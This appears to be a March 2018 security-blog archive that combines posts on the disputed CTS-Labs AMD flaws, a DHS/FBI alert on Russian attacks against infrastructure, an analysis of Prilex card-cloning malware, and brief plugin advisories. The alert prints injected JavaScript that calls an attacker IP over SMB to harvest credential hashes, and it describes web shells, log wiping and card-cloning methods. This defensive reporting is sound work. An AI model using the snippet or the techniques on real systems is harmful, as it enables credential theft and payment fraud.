Month: March 2018

Maybe it was the exaggerated threats against AMD’s business or the semi-unprofessional way the threats were brought to light but no matter — security start-up CTS-Labs claims of security holes in the chipmaker’s Ryzen and Epic processor lines are now being lambasted across the security community.

Earlier this week Threatpost wrote of the CTS-Labs report that its researchers had discovered 13 critical vulnerabilities and exploitable backdoors in AMD’s EPYC server, Ryzen workstation, Ryzen Pro and Ryzen mobile offerings. Among the most egregious problems CTS-Labs wrote about in a white paper included:

-Secure Encrypted Virtualization, a key security feature that AMD advertises as one of its main offerings to cloud providers–could be defeated as soon as attackers obtain malicious code execution on the EPYC Secure Processor.

“The Ryzen and Ryzen Pro chipsets, currently shipping with exploitable backdoors, could not have passed even the most rudimentary white-box security review. The Secure Processor, currently shipping with no fewer than ten critical vulnerabilities that bypass most of its security features, is afflicted with basic security design errors. Furthermore, neither the Security Processor nor the Chipset offer any significant mitigations against exploitation should vulnerability be discovered,” CTS said.

While such harsh observations are not completely unusual, a number of red flags have popped up since the company released the report.

For example, AMD was apparently notified about the CTS findings only about 24 hours before they were made public. Many researchers, upon discovering vulnerabilities give the vendor in question weeks, sometimes months to look into the situation and even let the develop a patch for the problem. Of course there is industry argument over that procedure as well. In this case though AMD was taken aback.

AMD wrote: “This company was previously unknown to AMD and we find it unusual for a security firm to publish its research to the press without providing a reasonable amount of time for the company to investigate and address its findings.”

AMD says it is looking into the situation.

Others questioned the motive of disclosing the vulnerabilities so quickly. Reports from PC Gamer and The Register noted the link between the connection between CTS and others connected with the company. PC Gamer wrote:

“What is suspect, however, is that a separate website calledViceroy Research put out a report based on the startup’s findings, with the ridiculous conclusion that ‘AMD is worth $0.00 and will have no choice but to file for Chapter 11 bankruptcy in order to effectively deal with the repercussions of recent discoveries.’ According toThe Register, Viceroy Research confirmed it has a short position on AMD’s stock and intends to increase that position—meaning that Viceroy has a direct financial stake in driving AMD’s stock price down. Viceroy founder John Perring also said he received a copy of the report via an anonymous source and found it ‘credible.’”

A video report from Gamers Nexus on other suspect issues around the CTS findings entitled “Assassination Attempt on AMD by Viceroy Research & CTS Labs” can be found here.

Even Linux’s creator Linus Torvalds, had an opinion on the CTS-AMD report. He wrote in a Google+ discussion,

“When was the last time you saw a security advisory that was basically ‘if you replace the BIOS or the CPU microcode with an evil version, you might have a security problem?’ Yeah.”

The response from the twitterverse has been just as dismissive — a typical example: “Is CTS-Labs legit? 24 hours’ notice & a professional website on a flaw which can seemingly be fixed by firmware seems like someone wanting to make quick cash on a short stock play.”

So, CTS-Labs gave AMD less than 24 hours to look at the vulnerabilities and respond before publishing the report but took their time to create website, graphics and even videos to promote their findings? What an unprofessional shitshow! #amdflaws#infosec

Perhaps one of the problems in this case is that this report comes on the heels of the Intel Spectre and Meltdown vulnerabilities in that CPU security issues impact everyone so they get lots of attention, Richard Stiennon chief research analyst at IT-Harvest told Threatpost. “It doesn’t help that vendors like Intel have been so slow to respond to these problems either.”

Disclosed earlier this year, Threatpost wrote Spectre and Meltdown, “are far reaching and impact a wide range of microprocessors used in the past decade in computers and mobile devices including those running Android, Chrome, iOS, Linux, macOS and Windows. While Meltdown only affects Intel processors, Spectre affects chips from Intel, AMD, ARM and others.”

“I know there are many questions, and a whole lot of confusion. We are trying our best to answer reporters, update our site with Q&A, and clarify what’s going on. So far the media focus was on CTS, and I think I understand this, but very soon we will have to deal with the fact that a huge company with products spread throughout millions of computers in the world, is riddled with so many problems that it’s unclear how to even address this.”

(This article was written by guest author Michael Cooney. He can be reached at @Mcooney59)

Since at least March 2016, Russian government cyber actors—hereafter referred to as “threat actors”—targeted government entities and multiple U.S. critical infrastructure sectors, including the energy, nuclear, commercial facilities, water, aviation, and critical manufacturing sectors.

Analysis by DHS and FBI, resulted in the identification of distinct indicators and behaviors related to this activity. Of note, the report Dragonfly: Western energy sector targeted by sophisticated attack group, released by Symantec on September 6, 2017, provides additional information about this ongoing campaign. [1]

This campaign comprises two distinct categories of victims: staging and intended targets. The initial victims are peripheral organizations such as trusted third-party suppliers with less secure networks, referred to as “staging targets” throughout this alert. The threat actors used the staging targets’ networks as pivot points and malware repositories when targeting their final intended victims. NCCIC and FBI judge the ultimate objective of the actors is to compromise organizational networks, also referred to as the “intended target.”

Technical Details

The threat actors in this campaign employed a variety of TTPs, including

spear-phishing emails (from compromised legitimate account),

watering-hole domains,

credential gathering,

open-source and network reconnaissance,

host-based exploitation, and

targeting industrial control system (ICS) infrastructure.

Using Cyber Kill Chain for Analysis

DHS used the Lockheed-Martin Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity. Phases of the model include reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on the objective. This section will provide a high-level overview of threat actors’ activities within this framework.

Stage 1: Reconnaissance

The threat actors appear to have deliberately chosen the organizations they targeted, rather than pursuing them as targets of opportunity. Staging targets held preexisting relationships with many of the intended targets. DHS analysis identified the threat actors accessing publicly available information hosted by organization-monitored networks during the reconnaissance phase. Based on forensic analysis, DHS assesses the threat actors sought information on network and organizational design and control system capabilities within organizations. These tactics are commonly used to collect the information needed for targeted spear-phishing attempts. In some cases, information posted to company websites, especially information that may appear to be innocuous, may contain operationally sensitive information. As an example, the threat actors downloaded a small photo from a publicly accessible human resources page. The image, when expanded, was a high-resolution photo that displayed control systems equipment models and status information in the background.

Analysis also revealed that the threat actors used compromised staging targets to download the source code for several intended targets’ websites. Additionally, the threat actors attempted to remotely access infrastructure such as corporate web-based email and virtual private network (VPN) connections.

Stage 2: Weaponization

Spear-Phishing Email TTPs

Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. (An example of this request is: file[:]//<remote IP address>/Normal.dotm). As a part of the standard processes executed by Microsoft Word, this request authenticates the client with the server, sending the user’s credential hash to the remote server before retrieving the requested file. (Note: transfer of credentials can occur even if the file is not retrieved.) After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication. [2]

Use of Watering Hole Domains

One of the threat actors’ primary uses for staging targets was to develop watering holes. Threat actors compromised the infrastructure of trusted organizations to reach intended targets. [3] Approximately half of the known watering holes are trade publications and informational websites related to process control, ICS, or critical infrastructure. Although these watering holes may host legitimate content developed by reputable organizations, the threat actors altered websites to contain and reference malicious content. The threat actors used legitimate credentials to access and directly modify the website content. The threat actors modified these websites by altering JavaScript and PHP files to request a file icon using SMB from an IP address controlled by the threat actors. This request accomplishes a similar technique observed in the spear-phishing documents for credential harvesting. In one instance, the threat actors added a line of code into the file “header.php”, a legitimate PHP file that carried out the redirected traffic.

In another instance, the threat actors modified the JavaScript file, “modernizr.js”, a legitimate JavaScript library used by the website to detect various aspects of the user’s browser. The file was modified to contain the contents below:

var i = document.createElement(“img”);

i.src = “file[:]//184.154.150[.]66/ame_icon.png”;

i.width = 3;

i.height=2;

Stage 3: Delivery

When compromising staging target networks, the threat actors used spear-phishing emails that differed from previously reported TTPs. The spear-phishing emails used a generic contract agreement theme (with the subject line “AGREEMENT & Confidential”) and contained a generic PDF document titled “document.pdf. (Note the inclusion of two single back ticks at the beginning of the attachment name.) The PDF was not malicious and did not contain any active code. The document contained a shortened URL that, when clicked, led users to a website that prompted the user for email address and password. (Note: no code within the PDF initiated a download.)

In previous reporting, DHS and FBI noted that all of these spear-phishing emails referred to control systems or process control systems. The threat actors continued using these themes specifically against intended target organizations. Email messages included references to common industrial control equipment and protocols. The emails used malicious Microsoft Word attachments that appeared to be legitimate résumés or curricula vitae (CVs) for industrial control systems personnel, and invitations and policy documents to entice the user to open the attachment.

Stage 4: Exploitation

The threat actors used distinct and unusual TTPs in the phishing campaign directed at staging targets. Emails contained successive redirects to http://bit[.]ly/2m0x8IH link, which redirected to http://tinyurl[.]com/h3sdqck link, which redirected to the ultimate destination of http://imageliners[.]com/nitel. The imageliner[.]com website contained input fields for an email address and password mimicking a login page for a website.

When exploiting the intended targets, the threat actors used malicious .docx files to capture user credentials. The documents retrieved a file through a “file://” connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139. This connection is made to a command and control (C2) server—either a server owned by the threat actors or that of a victim. When a user attempted to authenticate to the domain, the C2 server was provided with the hash of the password. Local users received a graphical user interface (GUI) prompt to enter a username and password, and the C2 received this information over TCP ports 445 or 139. (Note: a file transfer is not necessary for a loss of credential information.) Symantec’s report associates this behavior to the Dragonfly threat actors in this campaign. [1]

Stage 5: Installation

The threat actors leveraged compromised credentials to access victims’ networks where multi-factor authentication was not used. [4] To maintain persistence, the threat actors created local administrator accounts within staging targets and placed malicious files within intended targets.

Establishing Local Accounts

The threat actors used scripts to create local administrator accounts disguised as legitimate backup accounts. The initial script “symantec_help.jsp” contained a one-line reference to a malicious script designed to create the local administrator account and manipulate the firewall for remote access. The script was located in “C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\”.

The script “enu.cmd” created an administrator account, disabled the host-based firewall, and globally opened port 3389 for Remote Desktop Protocol (RDP) access. The script then attempted to add the newly created account to the administrators group to gain elevated privileges. This script contained hard-coded values for the group name “administrator” in Spanish, Italian, German, French, and English.

DHS observed the threat actors using this and similar scripts to create multiple accounts within staging target networks. Each account created by the threat actors served a specific purpose in their operation. These purposes ranged from the creation of additional accounts to cleanup of activity. DHS and FBI observed the following actions taken after the creation of these local accounts:

Account 1: Account 1 was named to mimic backup services of the staging target. This account was created by the malicious script described earlier. The threat actor used this account to conduct open-source reconnaissance and remotely access intended targets.

Account 2: Account 1 was used to create Account 2 to impersonate an email administration account. The only observed action was to create Account 3.

Account 3: Account 3 was created within the staging victim’s Microsoft Exchange Server. A PowerShell script created this account during an RDP session while the threat actor was authenticated as Account 2. The naming conventions of the created Microsoft Exchange account followed that of the staging target (e.g., first initial concatenated with the last name).

Account 4: In the latter stage of the compromise, the threat actor used Account 1 to create Account 4, a local administrator account. Account 4 was then used to delete logs and cover tracks.

Scheduled Task

In addition, the threat actors created a scheduled task named reset, which was designed to automatically log out of their newly created account every eight hours.

VPN Software

After achieving access to staging targets, the threat actors installed tools to carry out operations against intended victims. On one occasion, threat actors installed the free version of FortiClient, which they presumably used as a VPN client to connect to intended target networks.

Password Cracking Tools

Consistent with the perceived goal of credential harvesting, the threat actors dropped and executed open source and free tools such as Hydra, SecretsDump, and CrackMapExec. The naming convention and download locations suggest that these files were downloaded directly from publically available locations such as GitHub. Forensic analysis indicates that many of these tools were executed during the timeframe in which the actor was accessing the system. Of note, the threat actors installed Python 2.7 on a compromised host of one staging victim, and a Python script was seen at C:\Users\<Redacted Username>\Desktop\OWAExchange\.

Downloader

Once inside of an intended target’s network, the threat actor downloaded tools from a remote server. The initial versions of the file names contained .txt extensions and were renamed to the appropriate extension, typically .exe or .zip.

In one example, after gaining remote access to the network of an intended victim, the threat actor carried out the following actions:

The files were renamed to new extensions, with INST.txt being renamed INST.exe.

The files were executed on the host and then immediately deleted.

The execution of INST.exe triggered a download of ntdll.exe, and shortly after, ntdll.exe appeared in the running process list of the compromised system of an intended target.

The registry value “ntdll” was added to the “HKEY_USERS\<USER SID>\Software\Microsoft\Windows\CurrentVersion\Run” key.

Persistence Through .LNK File Manipulation

The threat actors manipulated LNK files, commonly known as a Microsoft Window’s shortcut file, to repeatedly gather user credentials. Default Windows functionality enables icons to be loaded from a local or remote Windows repository. The threat actors exploited this built-in Windows functionality by setting the icon path to a remote server controller by the actors. When the user browses to the directory, Windows attempts to load the icon and initiate an SMB authentication session. During this process, the active user’s credentials are passed through the attempted SMB connection.

Four of the observed LNK files were “SETROUTE.lnk”, “notepad.exe.lnk”, “Document.lnk” and “desktop.ini.lnk”. These names appeared to be contextual, and the threat actor may use a variety of other file names while using this tactic. Two of the remote servers observed in the icon path of these LNK files were 62.8.193[.]206 and 5.153.58[.]45. Below is the parsed content of one of the LNK files:

Parsed output for file: desktop.ini.lnk

Registry Modification

The threat actor would modify key systems to store plaintext credentials in memory. In one instance, the threat actor executed the following command.

The threat actors commonly created web shells on the intended targets’ publicly accessible email and web servers. The threat actors used three different filenames (“global.aspx, autodiscover.aspx and index.aspx) for two different webshells. The difference between the two groups was the “public string Password” field.

DHS and FBI identified the threat actors leveraging remote access services and infrastructure such as VPN, RDP, and Outlook Web Access (OWA). The threat actors used the infrastructure of staging targets to connect to several intended targets.

Internal Reconnaissance

Upon gaining access to intended victims, the threat actors conducted reconnaissance operations within the network. DHS observed the threat actors focusing on identifying and browsing file servers within the intended victim’s network.

Once on the intended target’s network, the threat actors used privileged credentials to access the victim’s domain controller typically via RDP. Once on the domain controller, the threat actors used the batch scripts “dc.bat” and “dit.bat” to enumerate hosts, users, and additional information about the environment. The observed outputs (text documents) from these scripts were:

admins.txt

completed_dclist.txt

completed_trusts.txt

completed_zone.txt

comps.txt

conditional_forwarders.txt

domain_zone.txt

enum_zones.txt

users.txt

The threat actors also collected the files “ntds.dit” and the “SYSTEM” registry hive. DHS observed the threat actors compress all of these files into archives named “SYSTEM.zip” and “comps.zip”.

The threat actors used Windows’ scheduled task and batch scripts to execute “scr.exe” and collect additional information from hosts on the network. The tool “scr.exe” is a screenshot utility that the threat actor used to capture the screen of systems across the network. The MD5 hash of “scr.exe” matched the MD5 of ScreenUtil, as reported in the Symantec Dragonfly 2.0 report.

In at least two instances, the threat actors used batch scripts labeled “pss.bat” and “psc.bat” to run the PsExec tool. Additionally, the threat actors would rename the tool PsExec to “ps.exe”.

The batch script (“pss.bat” or “psc.bat”) is executed with domain administrator credentials.

The directory “out” is created in the user’s %AppData% folder.

PsExec is used to execute “scr.exe” across the network and to collect screenshots of systems in “ip.txt”.

The screenshot’s filename is labeled based on the computer name of the host and stored in the target’s C:\Windows\Temp directory with a “.jpg” extension.

The screenshot is then copied over to the newly created “out” directory of the system where the batch script was executed.

In one instance, DHS observed an “out.zip” file created.

DHS observed the threat actors create and modify a text document labeled “ip.txt” which is believed to have contained a list of host information. The threat actors used “ip.txt” as a source of hosts to perform additional reconnaissance efforts. In addition, the text documents “res.txt” and “err.txt” were observed being created as a result of the batch scripts being executed. In one instance, “res.txt” contained output from the Windows’ command “query user” across the network.

An additional batch script named “dirsb.bat” was used to gather folder and file names from hosts on the network.

In addition to the batch scripts, the threat actors also used scheduled tasks to collect screenshots with “scr.exe”. In two instances, the scheduled tasks were designed to run the command “C:\Windows\Temp\scr.exe” with the argument “C:\Windows\Temp\scr.jpg”. In another instance, the scheduled task was designed to run with the argument “pss.bat” from the local administrator’s “AppData\Local\Microsoft\” folder.

The threat actors commonly executed files out of various directories within the user’s AppData or Downloads folder. Some common directory names were

Chromex64,

Microsoft_Corporation,

NT,

Office365,

Temp, and

Update.

Targeting of ICS and SCADA Infrastructure

In multiple instances, the threat actors accessed workstations and servers on a corporate network that contained data output from control systems within energy generation facilities. The threat actors accessed files pertaining to ICS or supervisory control and data acquisition (SCADA) systems. Based on DHS analysis of existing compromises, these files were named containing ICS vendor names and ICS reference documents pertaining to the organization (e.g., “SCADA WIRING DIAGRAM.pdf” or “SCADA PANEL LAYOUTS.xlsx”).

In multiple instances, the threat actors created new accounts on the staging targets to perform cleanup operations. The accounts created were used to clear the following Windows event logs: System, Security, Terminal Services, Remote Services, and Audit. The threat actors also removed applications they installed while they were in the network along with any logs produced. For example, the Fortinet client installed at one commercial facility was deleted along with the logs that were produced from its use. Finally, data generated by other accounts used on the systems accessed were deleted.

Threat actors cleaned up intended target networks through deleting created screenshots and specific registry keys. Through forensic analysis, DHS determined that the threat actors deleted the registry key associated with terminal server client that tracks connections made to remote systems. The threat actors also deleted all batch scripts, output text documents and any tools they brought into the environment such as “scr.exe”.

Detection and Response

IOCs related to this campaign are provided within the accompanying .csv and .stix files of this alert. DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, network signatures, and YARA rules provided, and add the IPs to their watchlists to determine whether malicious activity has been observed within their organization. System owners are also advised to run the YARA tool on any system suspected to have been targeted by these threat actors.

Network Signatures and Host-Based Rules

This section contains network signatures and host-based rules that can be used to detect malicious activity associated with threat actor TTPs. Although these network signatures and host-based rules were created using a comprehensive vetting process, the possibility of false positives always remains.

($s0 and $s1 or $s2) or ($s3 or $s4) or ($s5 and $s6 or $s7 and $s8 and $s9) or ($s10 and $s11) or ($s12 and $s13) or ($s14) or ($s15) or ($s16) or ($s17) or ($s18) or ($s19) or ($s20) or ($s21) or ($s0 and $s22 or $s24) or ($s0 and $s22 or $s25) or ($s0 and $s23 or $s26) or ($s0 and $s22 or $s27) or ($s0 and $s23 or $s28) or ($s29)

There are three ways of doing things in the malware business: the right way, the wrong way and the way Brazilians do it. From the early beginnings, using skimmers on ATMs, compromising point of sales systems, or even modifying the hardware of processing devices, Latin America has been a fertile ground for collecting credit and debit cards en masse.

Brazil started the migration to EMV cards in 1999 and nowadays almost all cards issued in the country are chip-enabled. A small Java-based application lives inside this chip and can be easily manipulated in order to create a “golden ticket” card that will be valid in most (if not all) point of sale systems. Having this knowledge has enabled the criminals to update their activities, allowing them to create their own cards featuring this new technology and keeping them “in the business.”

Enter the world of Brazilian malware development, incorporating every trick in the book and adding a custom made malware that can easily collect data from chip and PIN protected cards; all while offering a nicely designed interface for administering the ill-gotten information, validating numbers, and offering their “customers” an easy to use package to burn their cloned card.

“Seu cartão vou clonar”: not only a crime but a lifestyle

According to the 2016 Global Consumer Card Fraud: Where Card Fraud Is Coming From, “At this point in time, the assumption should be that almost all users’ credentials and/or card information has been compromised. The underground economy for user information has matured so much that it is indistinguishable from a legitimate economy.”

In addition, when we are faced with the current credit card fraud statistics, we found that in 2016, Mexico was in the lead with 56% of residents reporting experiencing card fraud in the past five years. Brazil comes in second at 49%, and the U.S. in third with 47%. It’s worth noting that approximately 65% of the time, credit card fraud results in a direct or indirect financial loss for the victim, with an average reported loss of $1,343 USD.

While traditional criminal activities in Brazil regarding computer crime have included banking trojans, boletos, and all sorts of different malware, cloning credit and debit cards for a living is more than a day job for some. With MCs rapping about the hardships of obtaining new plastic, and how easy the money starts flowing once they get in the game, there’s no shortage of options being offered for infecting ATMs, point of sales systems, or directly stealing credit card numbers from the users.

One of the many Youtube channels sharing tutorials and real life stories on being a Brazilian carder.

There are tutorials, forums, instant message groups, anything and everything as accessible as ever; making this industry a growing threat for all Brazilians. When it comes to Prilex, we are dealing with a complete malware suite that gives the criminal full support in their operations, all with a nicely done graphical user interface and templates for creating different credit card structures, being a criminal-to-criminal business. While cloning chip and PIN protected cards has already been discussed in the past, we found Prilex and its business model something worth sharing with the community; as these attacks are becoming easier to perform and the EMV standard hasn’t been able to keep up with the bad guys.

Anything they wanted was an ATM infection away

The first notable appearance of the Prilex group was related to an ATM attack targeting banks located primarily in the Brazilian territory. Back then, criminals used a black box device configured with a 4G USB modem in order to remotely control the machine. By opening a backdoor to the attacker, they could hijack the institution’s wireless connection and target other ATMs at their will.

At the time, the malware that was used to dispense money at will, was developed using Visual Basic version 6.0; a reasonably old programming language that is still heavily used by Brazilian criminals. The sample was using a network protocol tailored specifically to communicate to its C2 allowing the attacker to remotely dig deeper in the ATM system and collect all the necessary information in order to perform further attacks.

After obtaining initial access to the network, the attacker would run a network recognition process to find the IP address of each of the ATMs. With that information at hand, a lateral movement phase would begin, using default Windows credentials and then installing a custom crafted malware on the most promising systems. The backdoor would allow the attacker to empty the ATM socket by launching the malware interface and sending remote commands to dispense the money.

ATM version of Prilex patching legitimate software for jackpotting purposes.

The malware was developed to target not only the ATMs with the jackpotting functionality but also the bank’s customers due to a function which enables the malware to steal the magnetic stripe information once the client use the infected ATM: cloning and jackpotting on the same package.

Targeting point of sales systems and expanding functionality

While hunting new samples related to the ATM attack, we found a new sample matching the previously dissected communication protocol. In fact, the protocol (and code) used by this new sample had been updated a bit in order to support extended functionality.

Code similarity of the ATM and Point of Sale samples from the Prilex family.

The main module contains different functions that allow the attacker to perform a set of debugging operations on the victim’s machine as well as performing the attack itself.

Remote administration using “Ammyy Admin”.

Upload/download files from/to infected computer.

Capture memory regions from a process.

Execute shell commands.

Update main module.

Patch libraries in order to allow capturing card information.

Functions handled by the malware.

The main purpose of the malware is to patch the point of sales system libraries, allowing it to collect the data transmitted by the software. The code will look for the location of a particular set of libraries in order to apply the patch thus overwriting the original code.

Log strings referring the patch applied by the malware.

With the patch in place, the malware collects the data from TRACK2, such as the account number, expiration date, in addition to other cardholder information needed to perform fraudulent transactions. The PIN is never captured by the malware, since is not needed as we will see later.

Using DAPHNE and GPShell to manage your Smart Card

After the information is exfiltrated to the C2 server, it’s read to be sold in the blackmarket as a package. The criminals provide access to a tool called Daphne ,which is responsible for managing the credit card information acquired and ultimately writing it to the cloned cards.

The Daphne “client” has the option to choose which type of card it wants to write, debit or credit; then the information will be validated on the server only to be written to the card once all necessary tests are passed. The new card, which is connected to the smart card writer, will receive the new information via GPShell scripts in charge of setting up the card’s structure and creating the “golden card”.

Function to write the card data as credit or debit, or just copy the information to the clipboard.

After using the card, the criminal is able to keep track of how much money is possible to withdraw. While we are not sure how this information is being used, Prilex’s business model encourages users to register which cards are valid and the amount that they have paid off. This could enable reselling the cards in other venues and charging differential prices depending on their status.

After a card stops working (marked as “dead”), the criminal will fill the information about how much money was stolen from that card, if any.

Since Daphne is designed as a client/server application, several individuals can query the same information at once, and all modifications on the cards are synchronized with a central database. This behavior enables crews to work on the same set of information, allowing the connected user to create a new card directly from the interface and allowing the tool to decide the best template to use and how to preset the card.

Do not panic, but your credit card might be running Java

The EMV standard and supporting technology is in fact a robust framework that can provide much more security than the traditional magnetic stripe. Unfortunately, due to a bad implementation of such technology, it’s possible for criminals to abuse it and clone an EMV supported card with information stolen from the victim.

However, this technique is not entirely new and also not specific to Brazil. We have seen the same TTPs in other malware families, being sold on underground forums and targeting banks in Europe and other countries in Latin America such as Mexico and Argentina

In addition, the tool has an option to communicate with Smart Card devices by using GPshell in order to create a fake card with the stolen information.

Commands sent to GPshell in order to check for a Smart Card.

The commands above are responsible for checking if the Smart Card can be accessed, and if so it will enable the option to write the information to the fake card. Some commands used here are not generic and not usually found on a normal transaction.

Since they cannot manipulate all the information of the ‘chip and PIN’ technical standard, they need to modify the application responsible for validating the transaction. In order to do that, they install a modified CAP file (JavaCard applet) to the Smart Card, then when the PoS tries to validate the PIN, it will always accept as well as bypass all other validation processes. Due to the fact that most of the payment operators do not perform all validations as required by the EMV standard, the criminals are able to exploit this vulnerability within the process in advantage of their operation.

Commands used to install the malicious CAP file to the Smart Card.

Furthermore, GPshell sends commands to replace the PSE (Payment System Environment) by deleting the original one and installing a malicious counterpart. After that, the Smart Card just needs the stolen information to be written and it will be ready to use on PoS devices.

Commands sent to the card to write all data.

In this step, the script executed by GPShell contains all the necessary information in order for the point of sales terminal to perform the payment operation. The given script contains data extracted from original cards that are necessary to perform the authorization with the card operator.

One of the most relevant data written by this script is the Application Interchange Profile, changed in order to enable Static Data Authentication (SDA) and Signed Static Application Data (SSAD). This section contains the data signed by the card issuer that should be validated to guarantee that the information from the card was not counterfeited. However, the issuer has to decide which data should be protected by the signed information and based on our research, we found that most of the cards only have the Application Interchange Profile data signed, making the SSAD data valid even with a modified TRACK2 and a different cardholder’s name.

Getting the hardware and the blank cards is not as difficult as it sounds

Buying the equipment is quite cheap and surprisingly easy. To perform the attack, criminals just need to have a Smart Card Reader/Writer and some empty smart cards. Everything can be easily found online and since those tools can also be used in a legitimate way, there is no problem buying it.

JCop cards costing around $15 USD.

A basic reader/writer can be bought for less than $15 USD.

As we can see, the necessary equipment can be acquired by less than $30 USD, making it really affordable and easy for everyone to buy (not that anyone should!).

Smart Cards, the EMV standard, and the Brazilian carding scene

Industry reports, such as The Nilson Report, states that credit card fraud in 2016 has represented losses of $22.80 billion USD worldwide. And by 2020, card fraud worldwide is expected to total $31.67 billion USD.

Since that day in 1994, where Europay, MasterCard, and Visa developed this technology with the goal of ending fraud once and for all, several speed bumps have been found along the way, making theft and counterfeiting of payment card data more difficult for criminals in each iteration. It’s interesting to see how the liability of a fraud incident has been theoretically moved over the years from the customer, to the merchants, then to the bank; when in reality is the customer the one that always deals with the worst part of the story.

To be continued…

The crew behind the development of Prilex has demonstrated to be a highly versatile group, active since at least 2014 and still operating, targeting primarily Brazilian users and institutions. The motivation behind each of their campaigns has been repeatedly proven as solely monetary, given their preference for targets in the financial or retail industry.

Luckily, the banks and operators in Brazil have been investing a lot in technologies to improve their systems and avoid fraudulent transactions, allowing them to identify those techniques and preparing them for what’s to come. However, some countries in Latin America are not as evolved when it comes to credit card technologies and still rely on plain old magnetic stripe cards. Other countries are just starting to actively implement chip-and-pin authentication measures and have become a desirable target for criminals due to the overall lack of expertise regarding this technology.

The evolution of their code, while not technically notable, has been apparently sufficient in maintaining a constant revenue stream by slowly perfecting their business model and customer applications. The discovery of “Daphne”, a module to make use of the ill-gotten financial information and their affiliate scheme, suggests that this is a “customer oriented” group, with many levels in their chain of development; resembling what we have seen for example in the popular ATM malware Ploutus and other jackpotting operations.

This modularization, in their source code as well as their business model, constitutes Prilex as a serious threat to the financial industry, currently confined to the territory of Brazil with the uncertainty of how long it will take before it expands its operations to other regions.

IOCs

7ab092ea240430f45264b5dcbd350156

Trojan.Win32.Prilex.b

34fb450417471eba939057e903b25523

Trojan.Win32.Prilex.c

26dcd3aa4918d4b7438e8c0ebd9e1cfd

Trojan.Win32.Prilex.h

f5ff2992bdb1979642599ee54cfbc3d3

Trojan.Win32.Prilex.f

7ae9043778fee965af4f8b66721bdfab

Trojan.Win32.Prilex.m

Our complete IOCs list, as well as YARA rules and full reports are available for Financial Intelligence Reports service customers. If you need more information about the service, please contact us at: [email protected]

Vendor description:——————-“PluginUs.Net is a little team of talented professionals from Ukraine. Unlikemost of the big companies on the net, we believe in individual approach toevery our customer. Web development is our passion and we always try to go anextra mile over our clients’ expectations.

Our team specializes in development of WordPress plugins. It’s always excitingto try new technologies and approaches to get the project done and impressclients by realization of their ideas!”

Source: https://pluginus.net/about-us/

Business recommendation:————————SEC Consult recommends to ugprade to the latest version availableas soon as possible. Further detailed security tests should be performedin order to identify potential other security issues.

WordPress shortcode markup in the “shortcode” parameters would be evaluated.Normally unauthenticated users can’t evaluate shortcodes as they are oftensensitive.

Additionally, it is noted that there are other implemented shortcodes that arebeing used in this plugin which can be abused through the same attack. Worst,some of them could lead to remote code execution.

2. Local File InclusionThe vulnerability is due to the lack of args/input validation on render_htmlbefore allowing it to be called by extract(), a PHP built-in function. Becauseof this, the supplied args/input can be used to overwrite the $pagepathvariable which then could lead to local file inclusion attack.

About SEC Consult Vulnerability LabThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult. Itensures the continued knowledge gain of SEC Consult in the field of networkand application security to stay ahead of the attacker. The SEC ConsultVulnerability Lab supports high-quality penetration testing and the evaluationof new offensive and defensive technologies for our customers. Hence ourcustomers obtain the most current information about vulnerabilities and validrecommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Interested to work with the experts of SEC Consult?Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?Contact our local offices https://www.sec-consult.com/en/contact/index.html~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

V. BUSINESS IMPACT————————-Public defacement, confidential data leakage, and database servercompromise can result from these attacks. Client systems can also betargeted, and complete compromise of these client systems is also possible.

“Shopware 5 is the next generation of open source e-commerce software made inGermany. Based on bleeding edge technologies like Symfony 2, Doctrine 2 & ZendFramework Shopware comes as the perfect platform for your next e-commerceproject. Furthermore Shopware 5 provides an event-driven plugin system and anadvanced hook system, giving you the ability to customize every part of theplatform.”(from the Shopware GitHub repository [1])

More Details============

The Shopware web application provides users with a virtual shopping cart tocollect products prior to checkout. This cart is displayed to the user as amodal sidebar appearing at the right edge of the browser window. Consequently,Shopware implements several API endpoints to allow JavaScript code to performshopping cart operations. These endpoints are implemented in the“Shopware_Controllers_Frontend_Checkout” class and can be reached through thefollowing paths:

RedTeam Pentesting discovered that API endpoints support JSONP by specifying aURL parameter named callback. The origin of calls to the cart API is notvalidated. Therefore, any third-party website may make use of this API. If acustomer of a Shopware shop visits a malicious, attacker-controlled website,JavaScript code on this site may access the user’s shopping cart.

Proof of Concept================

The following JavaScript snippets demonstrate how to access the cart of aShopware shop at “https://example.net” from a third-party website. The“getJSON” function of jQuery 3 is used to interface with the JSONP API.

By running the following code, the contents of a cart may be retrieved. Theresult of the API call is displayed on the browser’s developer console.

Support for JSONP should be removed from the cart AJAX API. This ensures, thatonly JavaScript code from the same origin may access the API and respectivelythe cart’s contents. Furthermore, operations which change the state of the cart,i.e. adding and removing products, must be protected with CSRF tokens.

Fix===

Upgrade to Shopware newer than 5.4.0.

Security Risk=============

This vulnerability is rated as a low risk. Disclosure of a user’s shopping cartto attackers may negatively impact the user’s privacy. Furthermore, competingeCommerce sites may use this information to improve sales. By adding orremoving products from a user’s cart, attackers can negatively impact a user’sshopping experience and create support effort for the shop operator.

As there are only few experts in this field, RedTeam Pentesting wants toshare its knowledge and enhance the public knowledge with research insecurity-related areas. The results are made available as publicsecurity advisories.

More information about RedTeam Pentesting can be found at:https://www.redteam-pentesting.de/

Working at RedTeam Pentesting=============================

RedTeam Pentesting is looking for penetration testers to join our teamin Aachen, Germany. If you are interested please visit:https://www.redteam-pentesting.de/jobs/

At last year’s Security Analyst Summit 2017 we predicted that medical networks would be a titbit for cybercriminals. Unfortunately, we were right. The numbers of medical data breaches and leaks are increasing. According to public data, this year is no exception.

For a year we have been observing how cybercriminals encrypt medical data and demand a ransom for it. How they penetrate medical networks and exfiltrate medical information, and how they find medical data on publicly available medical resources.

